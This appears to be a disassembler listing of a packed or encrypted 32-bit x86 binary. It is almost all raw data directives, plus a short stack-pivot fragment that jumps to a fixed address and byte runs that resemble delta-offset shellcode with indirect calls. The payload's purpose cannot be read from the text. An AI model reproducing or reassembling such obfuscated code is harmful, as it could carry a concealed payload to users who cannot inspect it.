dd 2219715Ah, 4AEF96F5h, 715A3209h, 953663D8h, 0D46F2DAAh
dd 0E25C370Ch, 0BF33A412h, 5A32591Ah, 3B6F8871h, 58963846h
dd 61A71C49h, 97D861E0h, 4E715A60h, 7069E8F1h, 0B3281B2Ah
dd 682E56EDh, 0E3A92E9Ch, 0FAFDBCBDh, 0F2E669BCh, 0ECD871AEh
dd 608A7BA8h, 6E8E7C4Dh, 82872369h, 8A7A18B8h, 33516EEEh
dd 0A495323Dh, 7DFC185Dh, 569CC906h, 28AFEE6Fh, 9D21B62h
dd 788553Dh, 3AC73D04h, 0FB000000h, 0D3567A18h, 84256B90h
dd 0AC2FAEA6h, 87A0EEEDh, 0FC18B9D6h, 4E97300Fh, 0FC18B930h
dd 0AE466CDBh, 2D6B6C2Fh, 7E4C9DDEh, 0A6ECEFAEh, 1E9A5A05h
dd 8E4A70D0h, 28h, 567A18B4h, 7509AE68h, 61FC18B9h, 2FAECEF4h
dd 0B94A0BACh, 0AC9BFC18h, 0B95B1CBDh, 0BD8AFC18h, 666E5E2Ch
dd 4A708422h, 18C77D88h, 1DFE41FCh, 4FFFFFDh, 18B9FB88h
dd 0B997BFFCh, 2AAC2C1Dh, 18B9CC8Dh, 0F12E05FCh, 0B98CCDAAh
dd 7FF9FC18h, 0F3BF3B87h, 266292D7h, 0BD93BFB8h, 0C99016Eh
dd 0B4323E6Fh, 629449C0h, 76397C5Ah, 7DA23B81h, 225h, 0B9FA8841h
dd 93B0FC18h, 84541B5h, 0D2D2B019h, 4E2501FAh, 5F5D98DBh
dd 683E8FCCh, 4EDDE119h, 54CBCF07h, 42D9E515h, 1CF233D5h
dd 0CB002D83h, 0ECE86BF2h, 0FF645DA8h, 92D554CBh, 3D862765h
dd 4186609h, 0DC6E8BE0h, 0AFFE7FE2h, 0E1F7BDAh, 13C50000h
dd 0BE360B97h, 6D6DDCFAh, 11C4A521h, 0C13A0F8Bh, 0B958D7F3h
dd 2DA9F7E4h, 8B179D5Ch, 527844B6h, 26ACEAEFh, 0F162C73Eh
dd 20F9F08Eh, 696EB97Dh, 62EFD823h, 43251092h, 0EF2491B3h
dd 0B159DF78h, 87FC0200h, 9B5E0180h, 6445F615h, 0B36DFDFDh
dd 8E8F4CF5h, 0C4C23574h, 0BA3E038Fh, 0AB2C97F6h, 5EFB7AEDh
dd 0F9F01C1Dh, 38867534h, 0AA3368EDh, 15C18083h, 0F8C10A91h
dd 3B2E020Fh, 124F8C9Eh, 97422704h, 0FC410009h, 30CEA772h
dd 4B26BEFBh, 6005FE7Ah, 0D8401h, 0EAAE2800h, 5D599DECh
dd 8408F0B1h, 0EEAC2B1Eh, 565C81E0h, 4B543348h, 0A3860C92h
dd 1D6C6A38h, 7237D3DFh, 0DB9B0785h, 814C0DAAh, 9885F9F0h
dd 23696E52h, 4E62EFD8h, 7EFF58DBh, 97FC18B9h, 27800FD8h
dd 1FAC9E3h, 38399E01h, 0E9F9FAA9h, 66DD4992h, 0CAD00978h
dd 22060BCCh, 0F30B9A3Fh, 3EA107E2h, 0D282D899h, 0F3209F7h
dd 0D282A9AAh, 0BA0378F7h, 95E3CB6Ch, 6C3AAF58h, 0DC03A7EBh
dd 0D502BA85h, 0DBE71352h, 12CB8A3Fh, 8E70E146h, 0CAA1F7D2h
dd 0FCCD0E9Dh, 0E2398575h, 0D5307663h, 9E59771Ch, 1BBCA318h
dd 0A30DD0Bh, 6D1A28A1h, 85B82669h, 5483E624h, 429C1956h
dd 35F89845h, 0CBFF150h, 73650000h, 1ED6AB37h, 0CD0D7C9Ah
dd 7164C5C1h, 21DAAF2Bh, 19F87793h, 4D495784h, 2BB7FDFCh
dd 0F218A456h, 464C4A8Fh, 91C2679Eh, 40F9F080h, 2FAE19DDh
dd 18B9C98Ah, 3C2318FCh, 18B9DA9Bh, 0AB3C0BFCh, 167533A4h
dd 9190B4D9h, 0FAD6C648h, 93950201h, 0DBF1BC0Dh, 7A315576h
dd 485484C7h, 7B2FB83Dh, 0A700CE06h, 0F9FAF1B6h, 3FDB106Fh
dd 84028E4Ah, 577B18DEh, 0CF9377D0h, 0AED101FAh, 0FAAF4809h
dd 19A299F9h, 713FBC8Dh, 0F574A12Ah, 237A46B2h, 157034A0h
dd 0CB526BA0h, 0FAAFD16Eh, 0B084C2F9h, 2D51582h, 1CC4537Eh
dd 7262BFCBh, 48CB3FE6h, 0FAEA6EEFh, 7A14A7F9h, 0BCCFD1C2h
dd 59C6E75Ch, 95h, 22666E6Dh, 585C98DBh, 66C342CDh, 0FC18B9F5h
dd 0CB76572Ch, 0F47F8E0Ch, 0EB1E8400h, 0CFD0FF68h, 25A1BA4Fh
dd 18295304h, 3EBF82FCh, 0C9A23B70h, 0F36D6A44h, 8BF4549Fh
dd 98E3588Ah, 0E063E653h, 0F0839377h, 0D6F7596Ch, 0FA13718Dh
dd 46A39801h, 461C532h, 9ECD94F1h, 4200000Bh, 0B78A1094h
dd 0EA5F7B3Fh, 4524A2EEh, 0BB8E1492h, 0D9567C42h, 2A78653Ah
dd 901EDDACh, 0F9C5370Ah, 2D6B6CDDh, 0E344BDA1h, 0F9F08372h
dd 6E38E2A3h, 25A42266h, 4Ch
dd 22666E59h, 4D61EEDBh, 0D0C97DDAh, 4B2001FAh, 6298B42Eh
dd 73D2B704h, 0B49h, 21ADE9EFh, 8A109440h, 537F43B7h, 25A1E7EEh
dd 8D099744h, 0CD0E8F76h, 7366DBC7h, 1AC0A12Dh, 0C0390896h
dd 9110DCFAh, 0F0830748h, 9757DEF9h, 0ABEDEFAEh, 0D4376C32h
dd 0DE1B4667h, 0B984B512h, 3A5DFC18h, 4C197F06h, 5996C3EAh
dd 0D80043C2h, 8B4CF3D4h, 0E85EFE0Dh, 838951Ch, 27973A05h
dd 0AB000002h, 0ACB1AD0Fh, 0EA2089B8h, 2D01FAC3h, 9B351256h
dd 1FEA526Bh, 8E2B5E72h, 0F8837C3Ch, 348D1857h, 0A3043B2Fh
dd 0FEA5FA6Fh, 0F7B6A986h, 9647BA00h, 6F78FD08h, 0EE786120h
dd 0D40483A5h, 1F38BDC8h, 0B3A431DBh, 0DD51C4BAh, 6975A27Bh
dd 5CD9DF18h, 5033920h, 8AD7BECBh, 2E00000Ah, 83E6ECA8h
dd 0F64B5753h, 5110BE02h, 87FAE0A6h, 35424856h, 68C714Eh
dd 6C32A998h, 0D5D90366h, 397F78C9h, 0F750D19Dh, 0F9F08246h
dd 6E54969Fh, 0BC3F2266h, 0A8B0D32Bh, 3314EE37h, 0FC184C02h
dd 384364D3h, 0FB6E42CFh, 62AF156Eh, 14B5EB06h, 0D51B4CEDh
dd 7DCA0200h, 0BCF55DCAh, 0DE7F3DB8h, 4BECA15Dh, 0F9F02B0Ah
dd 96376CDBh, 0E3B1286Bh, 1B5CFD7Ch, 0CAF9F02Bh, 0BBE6C7Dh
dd 7108E69Eh, 0D4F5F166h, 0C5206E6Dh, 0DC4367ECh, 12A6737Bh
dd 0A2A59204h, 2B796023h, 1F429BD0h, 9C18DCDCh, 78612027h
dd 80FDC338h, 0DB1E6327h, 0CA0FB6D5h, 426FA7CCh, 5530FE7Ah
dd 9CC0Ah, 22669000h, 9511C5A4h, 0FCC03809h, 266493D6h
dd 8E14C9B8h, 0B30CEB00h, 0EB5E444Ah, 4524A2F0h, 0BA8F0B97h
dd 93537F3Dh, 8284B512h, 0D05DF9F0h, 82C544EAh, 2A735458h
dd 0FC18B921h, 1422125Ch, 0B9033495h, 65D2FC18h, 0F6B9F844h
dd 4922BB01h, 0FE61E0C4h, 18B91859h, 6972C9FCh, 0E6598126h
dd 0B38801FAh, 810DCD8Ch, 9738399Eh, 92E9F9FAh, 5387C649h
dd 8B88434Fh, 7407A0A7h, 0A9041F48h, 0EBECAFD2h, 974021ADh
dd 4FDEDC1Bh, 5C54D10Eh, 0DFFE7DD5h, 933EB4Ah, 0FFF90000h
dd 0AA2A1FBBh, 5981E0EEh, 0FDF84955h, 0AD2E13BFh, 0A54CFBE7h
dd 31DDE318h, 9F3B8970h, 666C30AAh, 0CAD0D603h, 1D5EFB0Ah
dd 34F9F085h, 2FAE8D49h, 18B9C98Ah, 40E918FCh, 0FC18B90Fh
dd 0AB3C69C6h, 18B92D42h, 0DCDA1FFCh, 0ADEBEAADh, 0CD6A1D5Eh
dd 0FC18B98Ch, 0C9DDEE45h, 3A2D010Eh, 0FB05229Dh, 4DFC4B01h
dd 0C6CCD00Ah, 0D6357963h, 8C08Fh, 7B18B700h, 0AB77D057h
dd 0F901FAD2h, 0E152F776h, 30F9FAA0h, 0A071E27Bh, 0CBA0F9FAh
dd 0A8DF94F2h, 59ACF2E9h, 0C7A0CB1Ch, 0F9FAA0AAh, 0C0473FB9h
dd 3FE62C0Dh, 1C6A2h, 0EAA3F00h, 3E7C71B2h, 6E8C7A43h
dd 3FB12A6Ch, 1CF65BA9h, 2F7EAB33h, 0AB2A71AEh, 181B6230h
dd 0CB1CA259h, 36555384h, 0DE414D8Fh, 35505E9Fh, 1B33445Ch
dd 9CC9744Eh, 0F0EA5F4Bh, 57D659ACh, 181641F2h, 0A4DB90FCh
dd 18165203h, 13B483FCh, 6F12325Ah, 0DCEDAB2Ch, 0AD45D255h
dd 0AFE286D9h, 96EF4891h, 0FFFC183Ah, 0D39D6580h, 596597E3h
dd 894D0CBDh, 47B5BC0Dh, 2247207Bh, 67FC1839h, 3FBD09FDh
dd 0F8645773h, 0F5B95608h, 9AD74100h, 0B1942E7h, 73C8FC18h
dd 6632A928h, 4BFE2B71h, 0BEE6FC8h, 4827FC18h, 8116AB7Fh
dd 0D26793D4h, 312287B3h, 0E0FC1887h, 0EBEB5E8Bh, 0CE1F5CAFh
dd 334A5883h, 3A4147B0h, 0C455DCh, 0F7A3B769h, 0B657C5E0h
dd 0C6332CA4h, 3D897DE5h, 0BFFDFABEh, 8FB2EF6Ch, 5E13091Ah
dd 5A27063Ch, 0DF7609DDh, 1B0FD815h, 9EEDB326h, 19083C21h
dd 0FAB656B0h, 5FC2B901h, 0D81Ch, 2DC4BF31h, 82CB528Fh
dd 0DD1C6D39h, 0D17BB4D7h, 6EBD01F9h, 0EB1B0EDh, 0FA0AA8A9h
dd 91AE74F9h, 0C9615AE5h, 0AAD5F64Dh, 4E0FA82Bh, 5CF9FA7Bh
dd 47F4179Dh, 0F25B6CDBh, 0F9FA7B45h, 0B2A30487h, 63F9FA7Bh
dd 9BD0DC1Eh, 1C6FC442h, 9B27D5h, 759016C1h, 555981C0h
dd 464C8F36h, 2A14B627h, 9AC4E65Ah, 0DD9D5CAAh, 0FA7BFB7Ch
dd 2A5D2AF9h, 0FA7BCC8Dh, 0F12E05F9h, 5F6594D5h, 7A6EF3CCh
dd 0D80544C7h, 0E6A8F1CAh, 39041803h, 0F6E54442h, 78960F74h
dd 0FDFF0D7Ah, 64C544B1h, 0F7DC5FF3h, 0F2185522h, 9A98DA4Fh
dd 0F03D61CBh, 0DC4FE657h, 0B403FF7h, 414D8FB2h, 505E9FDEh
dd 0AED59377h, 2BABEDEFh, 62EB326Fh, 0A624E5E9h, 35965B1Dh
dd 4CF3D77Ch, 21EB6CCDh, 4D3AFC18h, 7A94357Ch, 9501FA4Fh
dd 53C44FDEh, 1E00324Bh, 569EC1B0h, 3982CB52h, 0DCFABE36h
dd 6C2FAE16h, 97C4276Dh, 18B985B6h, 0FE2851FCh, 0F781542Bh
dd 8B7B1C6Bh, 837390C6h, 48D6AF38h, 9F1E0164h, 1827393Ah
dd 4A93E8FCh, 18274CE1h, 2D195FFCh, 4B127FAh, 13C7863Ah
dd 0EEFF7C8Fh, 27A1h, 0EFAE8500h, 5619A2E8h, 0A6831A9Eh
dd 0FC18B9B5h, 0E6EE51D0h, 655119A2h, 3DD9DD19h, 18DA55AAh
dd 96DA6DFCh, 0E0FFFFFFh, 3C23696Eh, 0B95B1CBDh, 0B78AFC18h
dd 0A9227945h, 4A9F6B7Ch, 9C7A1870h, 18B93A3Bh, 279CEBFCh
dd 550F359Bh, 3D040788h, 55C7h, 7A18FB00h, 9AE6856h, 0FC18B948h
dd 98A07E99h, 0D194AFBh, 892E51D0h, 0FC18A1C8h, 738A16C2h
dd 0C6E75CFAh, 2639AEE0h, 672BAFF4h, 0DC9E03F6h, 0FC4B0CADh
dd 0AD9AFC18h, 0AEA9951Ch, 0B9C98A2Fh, 17C3FC18h, 5FFB708Bh
dd 5C98C7E0h, 4A709258h, 378Eh, 7A18B400h, 0B93A3B9Ch
dd 9CEBFC18h, 18A12027h, 0FC18B957h, 5228B18Eh, 0B94809AEh
dd 0F764FC18h, 6E94AECBh, 70842266h, 68E94EF1h, 0B9FC18B9h
dd 53579FC2h, 4C3A83C8h, 0C7266A6Eh, 18B9F97Ah, 0DAAA94FCh
dd 0BA206C6Ch, 18C76221h, 7AFF42FCh, 7FFFFF3h, 0A422666Eh
dd 87BAAEB3h, 0FABA4422h, 0A5C0BF01h, 0FAB8A7DCh, 4232B4F9h
dd 0B8DEA334h, 0F7169443h, 8522D546h, 7F52E8F1h, 2C3FE6ADh
dd 10h, 0FC39AE16h, 0FD7EAFC5h, 1399821h, 4D000000h, 0A1EDEFAEh
dd 0E222F18h, 0BA14BE1Bh, 80FF01FAh, 0BEFAFA65h, 0BB73B710h
dd 8B71F9FAh, 27669B07h, 91D0E9B5h, 6120276Bh, 64D1347Ah
dd 69D83843h, 1C6A5AE4h, 7534D2DEh, 342F0684h, 0A9AA0FC3h
dd 78F9FABAh, 0C47FD603h, 0CF769513h, 0F764870Bh, 26454BB0h
dd 0E1649E69h, 0E0164029h, 160A6E46h, 0E1166450h, 1A6125D1h
dd 252464D1h, 0D4377562h, 55604667h, 3A840778h, 0CED7h
dd 7C18EB00h, 9AE6A50h, 0FC18B975h, 3275F461h, 35A6C5C3h
dd 618408F2h, 0AE17D3F4h, 56A16994h, 0A0EEEFAEh, 88B71045h
dd 41D6494Fh, 8D162925h, 0A2EEEC6Bh, 4A5125Bh, 18704A26h
dd 13995C7Ah, 0A8164388h, 0EFAE0F35h, 115AA1EDh, 76FB2C8h
dd 47DC3D04h, 0E6000000h, 0C98A2FAEh, 18FC18B9h, 0BDA19A23h
dd 1E4B5785h, 0EFAD286Bh, 0B88E5F9Ch, 0B94809AEh, 382FC18h
dd 18B9B5A6h, 0DC1D6CFCh, 0C25861DEh, 2FAE4975h, 0B94A0BACh
dd 0AC9BFC18h, 666E2F1Bh, 4A708422h, 2C8Eh, 0EFAEB400h
dd 211AA3E7h, 0AEA30F3Dh, 18B94809h, 0CBF764FCh, 666E94AEh
dd 797C3F22h, 296C1A33h, 3FB0B4FFh, 0F170D8AEh, 7841478Eh
dd 0FF298E82h, 6EB4FFFFh, 0CF44FF69h, 272254D3h, 0A75093EAh
dd 2DA9EFEBh, 6CD91269h, 88713037h, 0B9BA1F02h, 68FC18A8h
dd 1BDCCA13h, 8A2F5276h, 1FAC9ACh, 0D69988E7h, 44F55224h
dd 9DF9FA89h, 355069A6h, 0FA89D76Ch, 0B282C4F9h, 0B3A40584h
dd 62F9FA89h, 5BB6B415h, 0F03FE63Fh, 30h
dd 9D7B18CAh, 18B93B3Ch, 0E768F1FCh, 3EFC18B9h, 316EC541h
dd 0D1A9A90Eh, 37801FAh, 0A1E29FF8h, 77F1F9FAh, 2BD5087Fh
dd 0EC7A3FE6h, 4C000000h, 0D823696Eh, 0CF5E6499h, 0D2555384h
dd 0B945F653h, 0A79CFC18h, 3F47F06h, 0A9E81985h, 5102A731h
dd 80FC18B9h, 46D7EABh, 0FC18BD9Bh, 24A2E811h, 13169445h
dd 8D2AA450h, 0FC18BDCCh, 8EF12E05h, 0B3384349h, 0A9B6032Ah
dd 1AC38285h, 4EBD8394h, 0AE3E1DF2h, 5535921Dh, 8C01FA72h
dd 3B703EBDh, 99B7DC9Fh, 52E8062h, 0F5040E0Dh, 85226DB8h
dd 0F9FAA6D4h, 8CF9360Dh, 73E63C9Dh, 3809041Fh, 2FACFFBDh
dd 0CF0C4FF2h, 0E5A4C5C1h, 95C663F5h, 4CF7DE6Bh, 3E21BAF7h
dd 688AF7BDh, 0F3FE7DDEh, 28FCF96h, 0A3550000h, 4E86FBE7h
dd 0FDFD4C4Ah, 0A15415B1h, 518AFF1Bh, 49284743h, 9D398774h
dd 7B672DACh, 0C2C8D406h, 963C7A7Fh, 41F257AEh, 90F9F0FAh
dd 6D6E29EDh, 11C6BB27h, 29461A57h, 67DC2AFFh, 763CA1E0h
dd 188BB155h, 77D0577Bh, 1FAD1C7h, 9974205h, 2516B3F2h
dd 0FCF9FAA1h, 15714A87h, 0CD62CF5Eh, 0DEF9FAA1h, 0A865AC98h
dd 73FE62Bh, 0F5h, 961CC180h, 696E7135h, 93EAB029h, 579EED5Ah
dd 828D18A6h, 708B17C3h, 49860CF1h, 0BDEE1770h, 0FBFCFC18h
dd 880B8ABDh, 18BD2E2Fh, 0BF88E7FCh, 0FC18BDBEh, 0A4E81257h
dd 0F9485E6Fh, 7B49B000h, 6D8E1B0Eh, 836CCA7Bh, 2693BA03h
dd 0D1DD1F39h, 4244E564h, 0FD01FA49h, 56AEB4Ch, 37B6F9FAh
dd 8C93D425h, 508DFA60h, 8474374Ah, 5F68ED38h, 52D5F966h
dd 1FCE7AF5h, 11C98804h, 5CFD7E8Dh, 4413A84Ch, 90F6D760h
dd 0A225A4DBh, 91AAF8E3h, 0F7DF28A0h, 0BEA13A71h, 337F7D3Dh
dd 0DA0043C6h, 5011F5D6h, 0B498E5ABh, 0F7FE7D1Fh, 16BB392h
dd 0C7310000h, 7262C7C3h, 21D9A836h, 0C530719Dh, 7566DBC7h
dd 6D14A32Fh, 0F9E5AB50h, 47435188h, 2EB4F8E2h, 0F2189E5Bh
dd 2516B3F2h, 0FCF9F0FDh, 6D6E75B1h, 8706BB27h, 18B93122h
dd 328BE0FCh, 0C6CCCA0Fh, 23696E18h, 3D86AB3Ch, 9D1582FDh
dd 5EFF5338h, 0EBFC8633h, 18D80140h, 4E1FA359h, 0FC18D40Dh
dd 94326FC4h, 0E740BEA3h, 0FC18D476h, 0E03B8174h, 5B90EF6Bh
dd 8B5B8324h, 0BD8A01FAh, 880ECB8Ah, 0FCBA3F02h, 1F3350A9h
dd 7986CF68h, 0F04F07E2h, 79EC9B8Bh, 0E649DCFEh, 0CDh
dd 0A5216593h, 0E9410C4h, 0D7F3BF3Bh, 0B9256392h, 18D13C8h
dd 49B20BEAh, 0EFEA5F7Bh, 964425A1h, 3CBD8C0Ah, 156C507Eh
dd 0F0FD83B4h, 0EBD352F9h, 0A58B7B18h, 0E4839AB2h, 0D958CF04h
dd 0EB6F4C40h, 38814126h, 113EDFh, 0D98D702h, 10964302h
dd 0F86740F5h, 2C1DB9FFh, 0FB7AEDABh, 0ED7E42B8h, 0F9F1A46Ch
dd 56FDCEA5h, 0C1638909h, 0D0D60318h, 0CDCB0AB5h, 0D2A204BEh
dd 0C6BEF86Eh, 9D397F78h, 1E6D2BACh, 0F75020D7h, 0DAE05B46h
dd 0F46BA09Fh, 5B63D475h, 0FB2DAE0h, 0E05BA9AAh, 0D60378DAh
dd 0C6806EF5h, 515780EEh, 0B408B92Eh, 768EB51Bh, 7F0B155h
dd 121B7A81h, 23000000h, 766726A7h, 0B91445E2h, 76CDFC18h
dd 5069E239h, 2C686E6Ah, 5B6196D9h, 575B81C0h, 404E8D34h
dd 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h, 8307CF76h
dd 8956F278h, 4C681E6h, 83000000h, 343304EEh, 24343124h
dd 5C243433h, 4C4168h, 242C8900h, 81E18951h, 4C1h, 4E98300h
dd 5C240C87h, 50241489h, 1423BAB8h, 8913543h, 0C58946FCh
dd 8124048Bh, 4C4h, 4EC8300h, 81242489h, 42404h, 505A0000h
dd 9D15F9B8h, 6FC62D65h, 5E050CD4h, 3534835Bh, 0D7705C4h
dd 3B045D35h, 89D00180h, 148B5828h, 0E7895724h, 4C781h
dd 0C7810000h, 4, 5C243C87h
db 8Bh, 2Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
db 0E1h
dd 0D8DCF92Ah, 0EFB89133h, 305E845h, 85C650C5h, 5E20A49h
dd 17256847h, 0B5FFCF38h, 5E2262Dh, 39ED858Dh, 0D0FF05E2h
dd 858DD88Bh, 5E22D8Dh, 1046850h, 0D3FF0000h, 0A4985C6h
dd 685305E2h, 8307F8BFh, 262DB5FFh, 858D05E2h, 5E239EDh
dd 8589D0FFh, 5E8290Ch, 1CA1BD83h, 0F0005E2h, 0B84h, 19D8B00h
dd 0E905E20Bh, 5, 0BBh, 1006800h, 0B58D0000h, 5E82910h
dd 95FF5356h, 5E20F85h, 2910B58Dh, 0F00305E8h, 1E9h, 3E804E00h
dd 9840F5Ch, 80000000h, 850F2F3Eh, 0FFFFFFEDh, 8D0006C6h
dd 0E8291085h, 95FF5005h, 5E8290Ch, 72E0FF58h, 1F6B4968h
dd 0A8156250h, 8A10689Eh, 0E816BCBBh, 6, 7BDBBB07h, 0FE8FD26h
dd 7000000h, 0AA0AF49Ah, 0CFFAD7A3h, 56BFCE4Ch, 5A5BE83Eh
dd 47CF46BEh, 6AC28174h, 0F000074h, 8Ch, 66C03300h, 34FFFA8Bh
dd 66BF6610h, 8C0F5978h, 12h, 0DE9h, 0D749EB00h, 0C443050h
dd 6C68720Ah, 0C181F985h, 51B3597Ah, 0B46ABB66h, 0F691F181h
dd 8E96BFAh, 0BC000000h, 0EBCA7127h, 81C772C3h, 53B8F4E9h
dd 0F810F3Eh, 0E9000000h, 0Ah, 1D9C0588h, 654AA9B1h, 0C89E1BBh
dd 0E8F28B02h, 0Dh, 0CA1F0462h, 0F6546C29h, 3325B537h
dd 0DF8157ECh, 333F4DA5h, 0E8835B5Eh, 0FE901h, 0C85F0000h
dd 0FC4103F6h, 0D916F994h, 4BEECFACh, 48484805h, 815BF551h
dd 0FF8C70F8h, 5F850FFFh, 0FFFFFFFh, 585h, 0CB43BB00h
dd 0AE85B60h, 0CB000000h, 45A1B72Bh, 404A42B3h, 0BF6660D4h
dd 8D0F1078h, 2, 5A61FB8Bh, 0DE9h, 3D33A400h, 170BD73Ah
dd 9493237Ch, 0C2810026h, 5CCCh, 0FE8h, 0BC74A500h, 0CCC7AFF6h
dd 36F97410h, 0C996BB94h, 17FBDFBFh, 0C4B85957h, 81676F35h
dd 6F1EBEE8h, 32FFFC67h, 1C9815Bh, 8139ADB8h, 0ABCBA2EBh
dd 0CFF6814Fh, 817D1C72h, 0C74B94F3h, 0FE948h, 0DD950000h
dd 7DCE7Ah, 0F55A66D9h, 0A6451232h, 0F7C38145h, 0B5669182h
dd 28F530Ah, 54EA81FCh, 81592BA3h, 2BA350C2h, 0F8BF0F59h
dd 0F01E883h, 0FFFFAD85h, 88D0FFFh, 0F000000h, 28Eh, 8DFE8B00h
dd 0E849AD8Dh, 0F88B6605h, 0BE98D89h, 31BE05E2h, 0C74EBD72h
dd 0E2076185h, 736405h, 0D3B70F00h, 1B5585C7h, 5E2h, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 0E9B87EC3h, 0B5FF0074h, 5E21CD1h, 13E8h, 83FF7900h
dd 2D04A8C9h, 1417730Fh, 600D7BD8h, 4424ACh, 1A798589h
dd 0FF5A05E2h, 0E20B1595h, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 29ACD3C3h
dd 2A32FDEEh, 68C0FACh, 8B000000h, 0E224E985h, 0FF006A05h
dd 0E20AB995h, 0EBC08B05h, 5FBF0D4Ch, 90E8BD77h, 0FF20C723h
dd 0D17FAE60h, 3076C568h, 0CC0BBE0Ah, 0E20E3F14h, 9D1F4D19h
dd 56116E93h, 0D1F01068h, 2004BDBBh, 85835B12h, 7FFDDD16h
dd 4016FE56h, 36EA7E20h, 604EB487h, 612EEBE7h, 5281C675h
dd 0B173519Ah, 0A304EB27h, 0E94CB5B2h, 57Dh, 0A9357167h
dd 72981CD8h, 0DBC7CB0Fh, 0AD296F66h, 75911FDCh, 558617FEh
dd 0FBFE434Fh, 0A25829B5h, 48B1F01Eh, 69984442h, 0F0F38FC0h
dd 1FDF46F9h, 0B029696Eh, 0ED5A93EAh, 25D4979Eh, 0DA034E9Fh
dd 7E7BCED4h, 7562ED38h, 86F3BF3Dh, 0BCF8FC67h, 93632569h
dd 75F4B227h, 0A3FAC632h, 0B4F5912Ah, 0ED5C7A46h, 0D958A3EFh
dd 0B940F156h, 0DA91FC18h, 0C99B5E01h, 0B6711FCEh, 3D4885FEh
dd 0EFEDACD5h, 306D31A9h, 1F4760D5h, 9D21DB27h, 0C1C73071h
dd 40B8FBBAh, 1BAC297Ch, 189DBCB2h, 474D8CFCh, 703EBD24h
dd 7A61A015h, 0A150E2E8h, 44B19D0Ah, 0AA9ADC21h, 0B88C3A56h
dd 4999C71h, 72333Ah, 6E370000h, 7FD82369h, 0FC18B9C0h
dd 129561E7h, 3A0413BFh, 66Ch, 2AAAED00h, 6E695D6Eh, 98DB2266h
dd 0E6A2525Ch, 0E41352A9h, 0DC1C47A6h, 0D00AB5D0h, 0CD3CB9CCh
dd 35798C0Ah, 93D8373h, 88CB774Fh, 0B83D484Ch, 0B10A9049h
dd 0DF42468Eh, 0B97AFB5Ch, 0DCABFC18h, 7DEA1F0Bh, 0BFEAACB1h
dd 0D6504492h, 0A752ECE7h, 0FEC4376Ah, 0D29D2EAFh, 7D7B6725h
dd 0C4276D6Eh, 0CE5D599Dh, 344232B4h, 0A49532B5h, 7DFC18B9h
dd 0B9342506h, 96EDFC18h, 0C3D10A35h, 3D7562C7h, 24AFFEBCh
dd 5B90EBB1h, 2B6AB1EEh, 5CF1BFBEh, 3089D10Eh, 0A6C5C931h
dd 5EECD81Eh, 0F6D7DB1Fh, 463AD70h, 7B61203Ah, 696DD437h
dd 46B1F02Dh, 743A6740h, 0B7000000h, 22BB01F4h, 0E7EFAE44h
dd 0A6571AA3h, 96428D18h, 0B4D7D500h, 30B3CA07h, 21A0FBC9h
dd 0EC96F5B9h, 0E066DAAAh, 7B60CEA6h, 23D8A935h, 10C70E9Dh
dd 97D1738Ah, 11C5689Fh, 700A3A04h, 3C000000h, 0C4276D6Eh
dd 0A1595F9Dh, 6CD9E517h, 85713037h, 1EBBFA01h, 0FC18B95Dh
dd 7942BFF4h, 1E8BFAD2h, 9A54E607h, 2B6F67FAh, 9D2E9BD0h
dd 6895E1D5h, 0AEB6BC5Ah, 44A7EBEFh, 4B8BB617h, 0F2753C4Fh
dd 0E64743B3h, 0FC18B975h, 0ADF6D7ACh, 0FC18B991h, 21685C8Ah
dd 3A0413ECh, 2549DE41h, 3F4E268Dh, 0BF364C5h, 5522FC18h
dd 10F74h, 6E330000h, 0E7AD2C6Ah, 0D40F8B84h, 0BC292734h
dd 0B0F30A47h, 0B3A7A831h, 17EFC18h, 7A40B9B8h, 0A99DC723h
dd 0F5119D5Dh, 0F8C63574h, 250916EFh, 6120A322h, 66D7367Ch
dd 18B394C5h, 0D5F64DFCh, 0FAC7FA8Ch, 2B5E1501h, 0B6247268h
dd 0ED5A93EAh, 0C90EB1DCh, 7562C7C3h, 0F48BD437h, 0ABF9FAA7h
dd 1D5EFB7Ah, 34F9FAA7h, 10E46E7Fh, 6B7735A2h, 40DBE116h
dd 78F95EC1h, 0A9F9FAA7h, 914609D2h, 8871F00Bh, 1FB8FB02h
dd 0F9FAA75Eh, 8E49B8F7h, 0E741FD08h, 2445A90Fh, 0A75304A5h
dd 0B582F9FAh, 0EC5A2A14h, 7B21ADEBh, 3FE631A6h, 14D05h
dd 7B183900h, 0B93B3C9Dh, 9DEAFC18h, 2A982120h, 4D01FADFh
dd 9FDA9B3Ch, 3C0BF9FAh, 0C695211Bh, 0FC2928BAh, 0EBB126A9h
dd 5F5D9AEFh, 565485CCh, 493DBF37h, 8BBEFCFDh, 72890FC8h
dd 70E146F9h, 0A1F9FAB2h, 6F15F1CAh, 3FE61EB2h, 5219h
dd 79182D00h, 6993D255h, 0BE49C625h, 0C6768103h, 55AFA8E5h
dd 0D67F22AFh, 91109F28h, 12BD27AEh, 0CF3F0D7Fh, 0DF1C6FA4h
dd 9F286C68h, 18DBD536h, 0D4370CFCh, 18DBCA8Bh, 0CCB8A2FCh
dd 0AD2F0908h, 0E4519AE1h, 0DB43C465h, 85F2FC18h, 0ACC819h
dd 0AEF20000h, 5BA2E8EFh, 53F0C912h, 0CF6FC87Fh, 0DD01FAD2h
dd 0A07CFD5Ah, 0D495F9FAh, 9B2C9927h, 6AD5300Fh, 0DEA32F6Dh
dd 5A609919h, 52ED7AEDh, 0C05F2DD6h, 0FF58E3C4h, 0F9FA9B45h
dd 0EA582C1Ah, 2823AFEDh, 0A700072Bh, 7E3218Ah, 4EF11463h
dd 5D1C0389h, 428B12A0h, 1C932BC9h, 8324EF5Fh, 387E79F8h
dd 377562EDh, 281C5ED4h, 88BF6D0h, 0D28BAEAFh, 0D60267F7h
dd 0CD3AB3CAh, 90C5A74Ch, 9C2D6462h, 7DE2E2D2h, 0D457D649h
dd 0D234C273h, 0AD2E13F7h, 1A5784E7h, 8ECB78C1h, 552209CBh
dd 0FB6393D2h, 353B5C64h, 6079B65Fh, 7B18BCBAh, 0DB1B9D5Dh
dd 0D21B62DFh, 34A3E265h, 2B7A1776h, 9486707Ah, 44CB1C49h
dd 14C4EE3h, 0BDC8A702h, 7B47B3F2h, 2F12AB20h, 83E6ECAAh
dd 6C355056h, 409E0583h, 0EA82179Ah, 2A064D02h, 22125C6Dh
